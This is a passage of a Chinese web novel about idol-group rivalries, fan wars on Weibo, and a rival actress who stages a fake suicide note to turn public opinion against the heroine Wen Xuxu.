温栩栩低笑几声,李辉一直知道温栩栩声音好听,这会儿被这笑声苏到脸有点红,心说要不少坑温栩栩点,就坑一千五百万吧。 李辉还没YY多久呢,就听到温栩栩嘲讽的话了。 “瞧你这话说的,我不告你就是给你最大的好处。”温栩栩打断他的臆想,“除了这些你还想要什么 ?让我想想,一个为了钱能做尽龌龊事的营销号主动联系我……你是想找我要钱?” 温栩栩猜对了,李辉一口气提到心口没敢吱声,没吱声就是默认。 温栩栩冷笑:“你不拿钱买平安就算了还想骗我的钱?青天白日的做什么美梦。” 李辉“啊”了一声,赶紧开口:“你听我说,只要你给我钱我就能把张雨萌锤的死死的。” “你因为张雨萌得罪了黎氏娱乐就算没有我你一样会把张雨萌锤的死死的,不过是想这件事前多捞笔钱而已,你真当我没脑子赶着给你送钱?滚蛋。” 温栩栩懒得理骗子,一股脑挂断电话拉黑李辉号码。 坑她钱?他完了! 张雯悦已经彻底看傻了,温栩栩头有点痛,她揉了揉太阳穴,“行了,我累了赶紧把事情解决了你今天就从这里搬出去 。” 张雯悦“腾”的站起来瞪着温栩栩:“你真的要赶我走!” 温栩栩语气诧异:“不然呢?我说那么多是逗你玩的?” “我跟你们是一个团的,你不能因为你是队长就把我赶出去!你没有这个资格更没有这个权利!” 张雯悦梗着脖子不愿走。 她可看出来了,温栩栩胆子太大了,连营销号都敢怼,她要真离了温栩栩估计真没好日子了。 温栩栩又被她这话逗笑了,盯着她看了几秒好半天没理她。 张雯悦被她看的哆嗦了下,“杜佳安秦萌萌,我们是一起出道的,你们真愿意看我被她踢出去?她能把我踢出去以后也能把你们踢出去!” 杜佳安双手抱胸拦在温栩栩身前冷笑:“都到这时候了还不忘挑拨离间呢。” 第626章 我要你滚,你就只能滚 秦萌萌也是满脸不屑:“不是你说的我们团队少了你才是和谐友爱的团队?怎么到现在又不愿意走了,说什么队长把你踢出去?难道不是你自己作?” 秦萌萌站在杜佳安旁边瞪她,一点好态度都没有:“你在微博上经常发博内涵我们孤立你,出去参加综艺也是一个人走在旁边逢人就说队长捧高踩低被人潜规则,私下不是嫉妒队长的资源就是嫉妒队长,你往旁边一站我们十年都不用买柠檬。还是队长好心给你那么多次机会,这次是你自己做得太过火涉及到团队利益活该被踢出去。” 张雯悦瞠目结舌说不出反驳的话,只能求救一样去看其它队员,对方移开目光,张雯悦心里一急转去看林海。 林海强忍尴尬:“在这之前你只是针对温栩栩一个人,那时她从没有真的让你离开女团团队,但这次你针对的是整支队伍,她是这个队伍的队长要对其他队员负责。” 张雯悦不走就还能以女团女团队员自居,团队还要带着她参加节目她就会一直有热度,这次原谅她谁能保证张雯悦不会变本加厉装无辜做出一副被欺负的模样?这对团队其他人不公平。 张雯悦眼前一黑,她已经无法想象自己未来要面对什么了。 “温栩栩……你……你只是队长,你凭什么……” 张雯悦几乎要哭了,温栩栩歪头看她,脸上露出恶劣的笑。 “你不是知道吗,我是资源咖,我要你滚,你就只能滚。” 张雯悦怎么可能不知道吗,不提别的,单说许愿就是温栩栩最大的助力,有一个许愿,圈内谁不捧着她?谁会为了这点小事去得罪许愿?黎氏更不可能为她得罪这么一尊大佛。 她捂住自己的脸久久不语,但没人劝她也没有人可怜她,只有温栩栩离开前留下一句话,“今天搬出去。” 大厅只剩下她一个人,冷冷清清的。 她恍恍惚惚的想哭,她参加选秀综艺不就是为了出道为了红吗?为什么要跟温栩栩作对吗? 温栩栩有钱有靠山不是更好吗,她会帮扶队员那也是好事,她为什么要对付她对付团队呢? 张雯悦眼泪往心里流,已经不知道自己以后的路怎么走。 …… 黎氏娱乐 男人面色冷峻的观看新闻和最新的八卦消息,待看清张雯悦跟女团的关系后眸中的冷意更甚。 助理面带笑意的站在一旁,公关部经理艰难的敲了敲办公室的门步履维艰地走过去,嗓音因为慌乱害怕有点发干:“黎总。” 端坐在沙发上的黎云笙眸光冰冷,手搭在扶手上,指尖敲打着,那哒哒声更让公关部经理内心慌乱一个心都快要蹦到嗓子眼。 “我让你们注意有关女团女团的动向,不准任何人以任何方法手段让温栩栩所在的女团受损,你是怎么做的。”男人眸光冰冷嗓音也没有任何温度。 公关部经理吞咽着口水握着手中的文件:“黎总,我们在解决这件事了,只是张雯悦她还是团队的队员,我们黑她洗白别人也算是有损团队利益,所以这件事有点棘手。” 黎云笙缓缓开口:“今天之后这个团就是五人团队。” 女团以后变成五人团队就表明要把张雯悦踢出队伍。 公关部经理一脸仓惶,领会男人的意思后忙不迭应声点头:“我们今天会发出相应公告,明天就会约张雯悦来公司签署相关协议。” 黎云笙微微颌首,公关部经理这才退出去,身子一软的靠在墙上:“那个张雯悦在圈内算是完了。” 得罪谁不行得罪温栩栩,不知道温栩栩背后的人是许愿吗?不说他们黎总跟温栩栩什么关系,就冲着许愿,谁不给温栩栩面子? 公关部经理离开后黎云笙面色肃冷:“去让人联系女团一些视频剪辑大粉,他们手里应该有张雯悦的视频。” 这视频就是张雯悦私底下在团内为了资源和站位争吵的那些,只要上传网络绝不会有人继续没脑子帮张雯悦说话。 “我这就找人吩咐下去。”助理把今天的工作报告放到桌上才转身离去。 黎氏娱乐当晚微博官方号放出公告,已跟女团女团“张雯悦”解除团队经纪约,并祝福张雯悦未来星途坦荡。 黎氏娱乐当晚发出公告跟张雯悦解除团队经纪合约。 网络上关于张雯悦遭打压是团期的舆论还没压下去,黎氏娱乐却在这紧张时刻直接解除跟张雯悦的团队经纪约,这就代表女团团队以后只有五名队员,张雯悦已经被剔除在外。 张雯悦的粉丝纷纷表达不满黎氏娱乐这解决方法纷纷@黎氏娱乐让黎氏赔偿张雯悦好资源。 这时候网友也回过神感觉他们被当枪使了。 如果黎氏娱乐真要对付张雯悦何必提前宣布解除团队约?可以利用这剩下的半年时间雪藏张雯悦,半年时候谁还记得张雯悦是谁?但黎氏娱乐没有封杀张雯悦还干脆利索的跟她解约,这做法说起来很大气了。 温栩栩的粉丝早把大粉很久前总结的温栩栩单人资源和女团团队资源做了总结,黎氏给女团的团队资源可从没有冷落她,张雯悦暗示资源被抢的事就是胡扯。 张雯悦粉丝却不依不饶。 {我们雯悦没被抢资源这件事就算过去了?她没被其他队员欺负?杜佳安没跟她动手?其他人没对她冷暴力?秦萌萌没有动不动就嘲讽她?这跟校园暴力有区别吗?难道她受过的伤害就这么算了!你团不该给我们粉丝一个交代吗!} 张雯悦大粉这条微博被张雯悦粉丝转发点赞热度一直没下去。 张雯悦已经从别墅搬出去在附近找了个酒店打算先住一夜,她提心吊胆关注网络动向,看到有粉丝帮自己厮杀平缓了下心情,又担心粉丝把事情闹太大让黎氏娱乐下不来台到时候倒霉的是她。 可她又不敢出声,根本不知道能说什么。 如果维护粉丝,那粉丝肯定还会为她出气攻击黎氏攻击温栩栩和其他人,可如果提到黎氏和温栩栩,又会闹大。 黎氏旗下的娱乐公司对黎氏来说只是小公司……她就是个小爱豆,哪里有胆子对上黎氏! 第627章 想要孩子吗 张雯悦已经被温栩栩那番话吓的没胆再胡闹,也不敢上网发表什么言论。 她此刻颤抖着手搜索了下江恒前队员纪元,有关纪元的贴子标题都标有“江恒前队员”,就像担心没有江恒就不会有人点进来似的,只能借此蹭一点前队长的热度。 《未来女团》爆火后有人办了个男团选秀的节目,纪元也参加了且在头一轮第一期被主持人带着江恒前队员的名头有了点镜头,后面就被各路导师批评他舞蹈油腻,唱歌跑音,排名在最后面。其中有很多人是为了“江恒前队员”的标题才去看了这档节目,纪元就像个丑角,为了一点热度不择手段却还是沦为笑柄。节目中没人当他是前辈,到第二期纪元就没几秒镜头第三期被淘汰出局。 这档节目播出后没少借着纪元营销,等节目热度上来后他就被淘汰出局,打从一开始他这种回锅肉选手就没被看重,可以说第一期就被打上不可能出道的标签。像个笑话一样。 张雯悦内心觉得十分悲痛,看帖子看到睡着做梦梦到自己成了纪元,在节目中有人一直提起前队长温栩栩戳她痛处把她当笑料。 网上很热闹,温栩栩回了房间看到在房内办公的男人脸上带了点笑,她摇晃着手机说:“我把张雯悦踢出去了。” 她把热牛奶放到桌上,有点像奖励男人帮她做事一样。 温栩栩道:“我才把张雯悦赶出去官博就发了跟她接触团队经纪约的消息,你动作好快啊。” 黎云笙不再看报表,握着牛奶杯喂她喝牛奶,温栩栩喝了一大口又把杯子推到男人嘴边,他很给面子的喝了口,一杯牛奶杯两人一人一口分完了。 她嘴边沾了一圈牛奶,他眼神暗了暗不知怎么的想到喝牛奶的小奶猫,吻去她嘴角的奶渍声音低哑:“后面都有什么安排。” 温栩栩想了想:“江夜回先生那里有一个公益广告片要拍,我刚拍完一部剧所以要休息一段时间这段时间应该也就只有比较清闲的团队行程。” 黎云笙点了下鼠标 ,电脑屏幕上跳出一张图,图上是风景如画的小岛,拍摄小岛时大概是清晨太阳刚刚升起的时候,天边的云霞好像都染了抹亮色。 “这是黎氏打算开发成度假村的小岛,想去看看吗。”他向下翻着后面是岛上的其他景色。 温栩栩心领神会笑眯眯问她:“你要带我去度假吗。”她手搭在男人手上极有兴致的翻看后面的图片:“像不像度蜜月。” 黎云笙眸光闪烁,温栩栩也知道男人多半不会回这句话,她就权当自己在开玩笑。 “我们举办婚礼吧。”黎云笙看着她,声音平淡的说出一句话, 温栩栩坐在他身边,唇角的笑意都僵住像是意外他说出的这句话。 “你认真的吗。”温栩栩声音干涩。 黎云笙关掉电脑把她抱起来放到床上:“你想要拍婚纱照举办婚礼,我都会满足你。” 满足她,而不是真的想举办属于两个人的婚礼。 温栩栩喉间发堵,她觉得眼睛里蒙上一层薄雾眼前的一切都看的朦胧起来。 房间内的灯被关上,她感受到男人滚烫的胸膛和平缓的心跳,她抱住男人一条手臂,黎云笙吻了吻她的后颈问她:“想要孩子吗。” 温栩栩愣了下。 要孩子?她喜欢小孩子但却无法想象有一个自己和黎云笙的孩子。 现在黎氏还没有彻底在他把控之下,而她也还在上升期绝不是个要孩子的好时间。 “我不要孩子。”温栩栩声音发紧:“你也不想要的对吗。” 黎云笙抱紧怀里的人:“我做了结扎手术,以后你不用吃药了。” 这话就是回答她,他也不想要孩子。 温栩栩内心堵的厉害,她不想要孩子有很多原因,但如果抛去那些原因她是愿意跟黎云笙孕育子嗣的,可黎云笙呢?他愿意吗。 明明睡在一张床上却终是同床异梦。 …… 这次张雯悦的事情闹得太大,黎云笙的助理第一时间联系了女团的团粉大粉陈米可。 她一向支持团内所有人,女团的专辑她购买了团队所有人的单曲,她家里有钱所以能支持她到处跑着追星,女团参加的所有节目她也都参加了,手里还有数不清不能外传的视频。 陈米可知道张雯悦脾气差,她不是拍到很多次张雯悦对温栩栩冷嘲热讽然后斥责杜佳安秦萌萌的视频,但她当时觉得那可能就是她们的相处方式,网传破晓队内不和她也没信。 这次陈米可生了场病没能及时赶上这次热搜,现在被人联系了解前因后果后整个人都懵了,记者狗仔拍到的那些跟她拍到的那些完全不一样啊。 队内哪有人这么欺负她!不一直都是她在欺负别人吗。 一直跟人发脾气的也是张雯悦啊,多少次杜佳安和秦萌萌发火都是被她逼得! 陈米可混圈多年脑瓜一转就知道是张雯悦在装可怜,她作为团粉心底那条防线“啪”的断了,行啊,她就让那群人好好看看到底是谁欺负谁! 她一整晚没睡觉把电脑上拍摄到的视频整理剪辑后上传到网络,还起了个标题“张雯悦又又又被欺负了!!!” 张雯悦粉丝一看这标题还真以为张雯悦被欺负又有石锤,看到发视频的是团队大粉更觉得可信,吃瓜群众也是不漏任何一个瓜急吼吼看视频。 {“你是队长就必须你压轴最后出场吗?”视频中张雯悦提着裙摆拦住温栩栩满脸厉色,温栩栩很平静没把谁走最后当回事,这是两个月前播出的节目,那期节目播出后还有张雯悦粉丝怒骂温栩栩冷待张雯悦,斥责不能让张雯悦走最后故意让张雯悦边缘化。} {“你那么多资源给我点资源怎么了?杜佳安没有脑子秦萌萌只知道傻乐都能跟你一起拍戏凭什么我不行!”画面中张雯悦疾言厉色的又去拦温栩栩,是在争夺温栩栩手里的资源。} 第628章 想吃瓜但没想逼死人 {“大家都来影棚拍摄杂志,就她温栩栩拍完封面又去拍内封,也不知道私下背着我们讨好了多少人才有了这些资源。”画面中张雯悦跟杜佳安几人一起出了影楼往外走,杜佳安被她这话气到回她一句,“队长比你好看比你优秀不选队长拍内封难道选你拍内封吗。”} 张雯悦紧跟着讽道:“我们是一个团的,她就该带着我们一起拍内封,谁让她是队长了。”} {“温栩栩跟江恒和夜阑影帝关系那么好,为什么不能请来当嘉宾!”画面中张雯悦气急败坏的愤怒大喊。} 这条视频后面张雯悦还在不停作妖,嘲杜佳安男人婆,骂秦萌萌装可爱,斥其它队员两面派,动不动就讽温栩栩是资源咖背后有金主,被温栩栩怼了后又开始埋怨老天不公没能给她好身世好背景。 视频发出去点赞马上破万,转发量也惊人。 张雯悦粉丝嚷嚷都是假的压根没人理,有人还提起女团团综时江恒夜阑去参加节目张雯悦粘着他们还提出想跟江恒夜阑合作,温栩栩做什么她都不配合,那时张雯悦粉丝还说张雯悦真性情所以没太多人关注。这条视频出来后前阵子爆红的团综又被人返回去观看。 张雯悦在团综中冲温栩栩翻白眼,看到江恒夜阑后就满脸笑容的贴上去。 网友都觉的心里有了呕意。 {当时我看团综的时候就知道张雯悦是个没脸没皮的偏偏还有人洗她真性情?来好好看看这也配叫真性情?} {张雯悦可被人欺负死了呢!全团的人都欺负她冷暴力她!好好看看到底是谁欺负谁呢!全团哪个没被她骂过?换谁跟她长久相处没火气?要我是杜佳安秦萌萌早揍她了!} {狗仔记者爆出的视频里张雯悦明显就是装的故意暗示她被欺负了,求求了,她知道‘被欺负’是什么意思吗!} {黎氏娱乐就该跟她解除合约,也就她粉丝脸大还找黎氏要赔偿,人黎氏还没找张雯悦要队员被欺负的精神损失费呢!} {我拳头都硬了!我们萌萌脾气多好啊,她竟然这么欺负她,张口闭口就骂人!就没见过这么没素质没品味的爱豆!给我死啊啊啊!} {我算看出来了,之前张雯悦私下欺负几个队员所以她们都忍着没吭声,这次张雯悦作了个大的暗示网友她被团队所有人欺负,这就上升到团队利益了。黎氏绝对忍不下去不踢她踢谁。} {呸,活该被踢出去,等着跟纪元一样吧!} 张雯悦被顶上热搜,一群人纷纷祝福黎氏娱乐踢出去一个毒瘤艺人。 …… 李辉那边已经放出张雨萌陪大佬的视频照片,张雨萌这次洗都洗不白了。 李辉不止放出这些还放出他跟张雨萌的聊天记录,指明张雨萌雇他写温栩栩黑料,温栩栩才是最无辜的人。 {张雨萌买温栩栩黑料?女团选秀的事情都过去多久了,怎么还买温栩栩的黑料?这人心眼有多小啊!} {营销号为什么突然曝光张雨萌?合理怀疑温栩栩知道这事后逼营销号曝光张雨萌,温栩栩这件事做的有点过分了吧。} {笑死姐了,温栩栩过分?张雨萌不过分?这件事不管是不是温栩栩让营销号曝光的那都是张雨萌活该!少在这里扯温栩栩!】 {动一动聪明的大脑我觉得营销号这时候曝光张雨萌是对温栩栩示弱也是报复张雨萌,要不是张雨萌他们怎么会得罪温栩栩要接收法院传票呢!这还不把张雨萌恨到骨子里!所以营销号是绝对不会放过张雨萌的。营销号这么恨张雨萌那前面说的张雨萌的黑料多半都是真的了,咦惹,今天的瓜属实让在下吃撑了。} 这一晚十分热闹,网友们吃瓜熬了一整晚,一大清早就收到爆炸性信息。 张雨萌自杀了! 第二天九点整点张雨萌有一条微博定时更新。 【张雨萌:当你们看到这条微博时我应该已经不在人世了。我知道会有很多人因为我的离开欢呼雀跃,也会有人因我的懦弱无能冷嘲热讽,不过这些对我来说都无所谓了。 仅以此条微博做最后的留念写给我的粉丝,我的粉丝里有些是从我幼年出道就关注我的哥哥姐姐叔叔阿姨,他们是陪伴我成长我前进路上的明灯,还有些粉丝需要叫我姐姐因为我成年后的剧关注我喜欢我。 我感受过你们对我的爱,但对不起这次是我做错事让你们失望了。 看到温栩栩那一刻我才知道她有多优秀,我甚至有些嫉妒为什么我不是温栩栩,这些嫉妒逐渐转化成了恨意,当我联系营销号看到网络上铺天盖地都是针对温栩栩的骂声时我后悔了。 她那样漂亮优秀的女性就该活得漂亮站在高台之上迎接花朵和掌声 。 我知道这一切时已经晚了,我对温栩栩造成的伤害不可磨灭。 现在我遭到反噬,我知道有很多人在看我的笑话,没关系的,这一切都是我的错,这一次就让我用鲜血和死亡来祭奠这次的错误。 这一次告别即是永别。 ——张雨萌绝笔】 张雨萌微博实时更新,微博被推上热搜后就有人发博说昨晚凌晨看到张雨萌手腕流着血被人抱上车,那人怕网友不信特地发了拍到的照片。 照片中张雨萌身上穿着单薄的睡衣,手腕的血流到掌心,抱着她的人应该是保安,经纪人就哭丧着脸跟在一旁。 张雨萌出道时间比较早,后来还去H国参加女团,知道她的人太多,吃瓜讽刺她陪大佬的言论都好像在此刻被肃清了,张雨萌的自杀微博果真让网友慌了。 他们是喜欢吃瓜喜欢看戏但没想过逼死人啊! 就像张雨萌说的,在Z国死者为大,不管你做过什么错事如果被逼自杀大多数人都会被原谅。 张雨萌这一招着实狠毒但确实有效果。 秦萌萌杜佳安早上醒来看到张雨萌自杀这新闻都慌了 ,赶紧去找温栩栩。 第629章 整容脸最不吃香 温栩栩早上是被秦萌萌和杜佳安的敲门声惊醒的,她此刻还缩在黎云笙身边,黎云笙没去公司但明显已经洗漱过后想继续陪她才床上处理工作。 温栩栩在他旁边蹭了蹭才扬声告诉秦萌萌杜佳安她等一下出门,听了这话杜佳安和秦萌萌才老实下来。 “你先去隔壁等我?”温栩栩磨蹭着趴在他肩上哄他。 黎云笙关了文档,旁边跳出浏览器推荐的最新八卦消息,温栩栩凑过去瞥了眼,一眼就瞧见上面写的是有关张雨萌自杀的消息。 温栩栩恍恍惚惚:“张雨萌真的自杀了?” 黎云笙合上电脑,温栩栩握住他的手腕有些慌神,男人眸光沉静如水的看着她,语气平静:“她没有受任何伤。” 温栩栩听出他话外意想起张雨萌的性子也没了几分同情之意,说到底这一切都是张雨萌自作自受。 如果她不因为嫉妒心理暗中使计买黑热搜设计温栩栩也就不会发生后面的事,而且如果张雨萌入圈后好好琢磨演技不走歪路选了捷径这样就算李辉想爆她这些视频照片都没办法。 温栩栩缓下神来,她睁着眼睛放空自己,她动了动身子不想从被窝里钻出去,小心翼翼扭头正对上黎云笙俊美的侧脸,察觉到她的眼神男人扭头看她,眼神带着几分难以窥见的温柔。 “我发现……”温栩栩喉间的话有点说不出口。 男人嗯了一声问她:“发现什么?” 我发现你好像对我越来越温柔。 温栩栩舔了舔唇瓣笑着:“我发现你特别好看,特别特别好看。”那句话她终是没有说出口。 她想自己到底是应该马上起床去见杜佳安秦萌萌讨论讨论张雨萌的事还是继续躺平睡觉?她挣扎了下,还是下床洗漱穿衣。 她揉着脑袋回头看床上的男人。 黎云笙已经收拾好回隔壁,温栩栩见他去了隔壁这才出门,她身体还没彻底恢复,但下楼的动作一点也不慢。 除了张雯悦外其他队员都在大厅好像就等她下来,杜佳安有点难过:“队长,现在网络上因为张雨萌的事都在骂你。” 秦萌萌心情不大好的撇嘴被气得不轻。 “干什么呀。”温栩栩走过去柔柔秦萌萌炸毛的头发:“好不容易有几天假没必要因为这种人烦心。” “现在网络上跟风骂人的有多少是自己生活不顺到网络上发泄的?有几个是足够理智的?跟这种人生气不掉价吗。”温栩栩闻到了早饭的香味儿,她走到餐桌边冲队员们招招手。 “快过来吃饭。”她笑了笑,目光却落在餐桌上。 早点十分丰盛,水果拼盘,爆浆奶油麻薯,山药紫薯糕,手工煎饺,灌汤包,手打玉米汁……品种繁多摆满了餐厅的圆桌。 “你们谁叫的外卖?”温栩栩瞥了眼盛着爆浆奶油麻薯的木制餐盒,上面还有华庭的独有标记。 华庭有外送服务,但普通外卖盒也只是特殊塑胶盒,一般人也不会想不开去点华庭的外卖,单是外卖盒就是一笔钱。而能让华庭特送外卖还用了这种木制餐盒的整个A市也没几个人。 看来这外卖是黎云笙点的才对。 温栩栩眸光闪了闪,其她几人还有点懵懵的,你看看我我看看你谁也不知道这外卖是谁点的 。 “我朋友点的,他昨晚还跟我说了这事,是我一时忘了。”温栩栩随口解释了句,杜佳安和秦萌萌纷纷挤到她一左一右的位置故意拉长声音“哦~~朋友点的~~” 什么朋友,当然是男朋友了。 杜佳安秦萌萌两人挤眉弄眼,温栩栩给她俩盛了一小碗粥这才堵住她们的嘴。 温栩栩几人心情还不错,就是苦了被经纪人大清早吵醒的张雯悦。 昨晚团粉陈米可和其他大粉一起剪辑了跟拍女团女团过程中张雯悦欺负队内成员并耍大牌的种种事迹,轻而易举把张雯悦送上热搜,张雯悦经纪人早上起来看到热搜整个人都气炸了。 张雯悦进了女团女团后鲜少跟她联系,她经纪人手里艺人也不止张雯悦一个,再加上张雯悦一直就不怎么听话这次参加女团综艺节目的机会还是公司看她在H国有出道经验才送她上了这档节目,没想到她运气不错真的出道了。 张雯悦跟黎氏娱乐签署团队经纪约手里的资源一点都不少,所以经纪人也不担心张雯悦没有曝光,只万万没想到张雯悦闹出这么大的事情来,大早上的公司老总看到热搜直接给她打电话问罪。 张雯悦被踢出黎氏娱乐事小,但张雯悦是惹了女团其他几人才被黎氏踢出去那就说明张雯悦也算间接惹恼了黎氏娱乐。老总自然暴怒让经纪人立刻安顿好张雯悦让她登陆微博真诚道歉后再去黎氏娱乐认罪。 经纪人忧心忡忡给张雯悦打了几通电话才赶到酒店,经纪人关上门冲她劈头盖脸就是一通骂,张雯悦满脸茫然的坐在大床上没了知觉似的。 经纪人看她这副模样有点不落忍,但想到自己因为张雯悦被老总指责就狠了狠心让张雯悦把关于她的热搜看了。 张雯悦红着眼睛更加无措。 经纪人逼着她颇有些恼怒道:“你听到我说的话了吗?发微博道歉!你不肯发我替你发!” 经纪人去抢张雯悦的手机,张雯悦不肯放手:“李姐你别逼我,我求你别逼我。” 经纪人都被她气的说不出话来,张雯悦藏着手机有点疯癫:“李姐你帮我找个像黎总那样的人当我的金主,只要我背后有人黎总肯定会轻拿轻放不再追究了。” 张雯悦眼里带着几分狂热之意:“有了金主我就有了资源,以后我能当你的摇钱树。” 经纪人觉得她有点疯,经纪人像看猪肉一样的眼神仔细打量她许久这才不怎么称心的扯了扯唇带着抹讽笑:“想找黎云笙那层次的人捧你?做这梦之前先照照镜子看看自己配不配。粉丝夸你是美女你就真当自己是什么大美女了?如果当初没出国整了那张脸你还能叫美女?在这圈子里整容脸最不吃香。” 第630章 不能成为查无此人的蹭星 “像黎云笙那层次的人都喜欢纯天然美女,你……还真不够格。”经纪人没有拉皮条的心思,就是真有这心思也拉不来那层次的人,“像你真要有心找人庇护你倒也不是找不来这类人,只是……” 经纪人伸展手臂从最高端逐渐下移,“你也就配这档次的。” 张雯悦坐在地上半天不肯吭声,经纪人冷声道:“要么今天你发微博道歉要么就做好被雪藏的准备。”说带这里经纪人意味深长:“好在你出道后一直不温不火没有代言,不然现在的代言赔偿金能让你赔到倾家荡产。” 张雯悦不觉得自己被安慰了,她心口窝着火僵硬的扯了扯唇。 退圈是不可能退的,她一定要混出个名堂让温栩栩知道她不会像纪元一样在娱乐圈内成为查无此人的蹭星。 张雯悦眸光一暗将手机递给经纪人交由经纪人发博道歉。 现在微博上十分闹腾,张雯悦被踢出女团女团,尽管大粉们爆出张雯悦嚣张跋扈的剪辑视频,但耐不住温栩栩黑粉多这些人不看剪辑视频就盯着温栩栩咬,她们不去问张雯悦被踢出团的原因,就算有人告诉她们原因她们也是一副不听不听的模样,就是侧面告诉大家温栩栩他们黑定了。 她们盯着温栩栩骂她专横骂她狠毒骂她没有队友爱,结果没骂几句“张雯悦”登陆微博向破晓其他队员道歉并郑重向温栩栩道歉。 张雯悦都发话道歉了,黑粉傻了不能继续利用张雯悦去黑温栩栩,没了张雯悦没事啊,那不是还有个自杀的张雨萌吗? 现在张雨萌粉丝四处讨伐温栩栩粉丝,张雨萌自杀这事跟温栩栩粉丝有很大的关系,粉丝行为偶像买单,这件事肯定要让温栩栩给个交代啊。于是黑粉们装成张雨萌粉丝大批大批攻击温栩栩。 {温栩栩粉丝太过分了!这次的事情张雨萌的确有错,可真的就一定要用这条命来偿还这一切吗?她还是个孩子的时候就进了娱乐圈碰到那些人渣才会被拍下视频和照片,她也不想变坏可娱乐圈水这么深任谁进来都要被染黑,张雨萌能这么短时间内醒悟就是最大的进步,为什么还要因为她做过的一些错事紧咬不放逼她给个交代呢?果然以前有人说温栩栩的粉丝是疯狗一点错没有,真的就是一群疯狗。} 底下张雨萌的粉丝为张雨萌抱不平怒骂温栩栩粉丝和温栩栩太狠毒不给张雨萌活路,张口闭口张雨萌还是个孩子要给她犯错的机会。 温栩栩粉丝被气笑了,粉随正主其实也没说错,张雨萌和她的粉丝一样全是SB。 【说了那么多不就是在卖惨? 她张雨萌入圈开始傍着资本作天作地欺负圈内艺人你们不说,她抢别人资源你们不说,她找营销号逼别人退圈你们也不说,你们单单只看到这次张雨萌自杀。 恕我直言是谁逼她陪资本了?这条路是她自己选的。是谁逼她找营销号黑温栩栩了?这也是她自己掏钱选的。打从一开始就没人逼她,都是她自己想通了就去做最后引火自焚却还要让别人同情她?她配吗? 你们口口声声说给张雨萌留条活路,那张雨萌想过给别人留活路吗?她陷害过多少圈内人?这次更是往死里黑温栩栩,如果不是黎氏肯帮温栩栩那现在温栩栩估计要被你们逼退圈或者也可能抑郁自杀! 你们也知道自己正主出了事还不去祈祷做点好事给你们正主积点德竟然还在网络上撕扯这些?疯狗到底是谁的粉丝网友眼睛可都是雪亮的!】 张雨萌粉丝气急败坏怒骂温栩栩粉丝没有同情心,张雨萌粉丝骂的正起兴就有人@这群粉丝去看“娱乐大风车”的账号。 娱乐大风车发了九张图,图中的张雨萌在房间里边敷面膜边看电视悠哉的很。 【娱乐大风车:不懂就问,谁自杀后是这样的?昨晚某些看到张雨萌被送到医院急救是怎么急救的?】 娱乐大风车微博图片发出去张雨萌粉丝绝大部分崩溃了。 她们再蠢也清楚张雨萌为什么演这么一出戏了,她就是想装自杀逼她们去攻击温栩栩然后虐一波粉继续在娱乐圈安安稳稳的当她的女艺人。她根本不爱她的粉丝,粉丝对她来说就是好用好玩的道具。 张雨萌剩下那批顽固粉丝活像心口被剜了一刀愤恨脱粉,有些疯狂的甚至改了微博名“张雨萌死了没有”这类的疯狂攻击张雨萌。 张雨萌私信炸了评论区也炸了,几年前被她抢资源逼退圈的那些艺人粉丝也混在其中,这下她彻底成了真正的过街老鼠。 可即便如此张雨萌还是有一小批脑残粉顽固抵抗并怒骂温栩栩粉丝不要太过分,纷纷喊话张雨萌没出事是好事,温栩栩粉丝这样逼她骂她是真想让她自杀吗。 温栩栩粉丝被气笑了,那些脱粉的以及其他艺人粉丝攻击力十足。 【看清爸爸的头像!爸爸是刘女神的粉丝!是你家张雨萌抢了我女神的资源又雇佣大批水军黑她逼得她退圈!我为我女神骂张雨萌跟温栩栩粉丝有什么关系!】 【看到你们这疯狂样我就想到我以前有多蠢!我!张雨萌前大粉现在就是要脱粉回踩还想让她赶紧去死!少TM有事没事碰瓷温栩栩,温栩栩粉丝有那功夫理你们?看看温栩栩什么档次张雨萌什么档次,我呸!张雨萌赶紧死张雨萌赶紧死!】 【张雨萌这种坏到骨子里的人配有粉丝吗?还粉她的人是不是精神有问题要去看看神经科了!你们的三观还好吗!】 张雨萌被骂,还是被数不清的人怒骂,女团女团的成员吃完早餐再看微博,微博热搜又变了。 “张雨萌自杀”后面多了个“假”字。 张雨萌的经纪人第一时间知道这件事联系张雨萌商量对策,张雨萌快气哭了,可临到了又接到李辉幸灾乐祸的电话。 张雨萌气急攻心被逼到这份儿上,她强忍着内心对李辉的怒火哄着李辉帮她洗白,李辉嘴上说得好好的,账户上多了那一千万后马上就拉黑了张雨萌。 张雨萌立刻报警。 都被逼到这一步了,她整不了温栩栩难道还不能整一个李辉吗?李辉骗她一千万,这笔数额够他吃一辈子牢饭了! 第631章 要领养你的小娇妻吗 娱乐圈毒瘤李辉被捕,他跟张雨萌的恩怨也被公之于众,最后张雨萌算计李辉这一笔可真够毒够狠。 杜佳安说笑话一样说给温栩栩听还随口埋怨了句:“因为张雨萌和李辉现在张雯悦退团那事儿都没多少人议论了,不过网上全都是在给队长道歉的。” 这种情况怎么可能不给温栩栩道歉,这件事说到底最无辜的就是温栩栩。 这件事跟他没关系,但被喷被骂的都是她,现在真相大白了,所有的人都欠她一个道歉。 温栩栩对这件事并不怎么在乎,但一直关注这件事的颜佳雨在医院里气都有些喘不匀。 颜佳雨设计这场车祸为了证明她在黎云笙心中的地位,黎云笙为了她再一次给温栩栩喂药为她抽了温栩栩的血,这就表明温栩栩还是她的血库。 她为这件事高兴可心里的阴暗面逐渐膨胀。 有件事她骗了经纪人,事实上不管温栩栩是不是她的血库她都不会放过温栩栩,她就是要打击温栩栩,毁掉她让她没办法在圈子继续待着,只有这样等以后她才能悄无声息的消失。 所以她才雇佣了任天浩装温栩栩的粉丝,巧的是温栩栩人缘太差,不等她全力出击张雨萌就跳出来买黑料。颜佳雨乐得轻松也不再出手,可就是这么短短几天功夫温栩栩就翻身洗白! 根本就不该这样! 废物!通通都是废物! 任天浩是废物!张雯悦是废物!张雨萌是废物!全都是废物! 颜佳雨目光阴郁,眼神直勾勾盯着手机上一条条给温栩栩道歉的评论。 温栩栩的粉丝却在这道歉此条里猛烈安利温栩栩,温栩栩的美照和剪辑的各类视频被人纷纷转发。 她目光含恨的睨着手机屏幕上温栩栩那张令人天妒人怨的脸却是阴恻恻的冷笑几声。 可惜了,可惜现在不能再对温栩栩下手。 现在是敏感时期,她还是有点担心自己被人盯上。她心里真的担心黎云笙会知道这件事跟她有关,这样的话别说没办法继续利用黎云笙,恐怕她的血库也没了。 她还想要温栩栩的血和温栩栩的心脏。所以她一定不能露出马脚,她在黎云笙面前眼里必须是最善良的那个。 经纪人推开病房的门就看到颜佳雨有些狰狞的侧脸,她似乎是带了几分恨意,眼睛快要凸出来,颧骨都好像升高几分,眼底更是一片混浊。 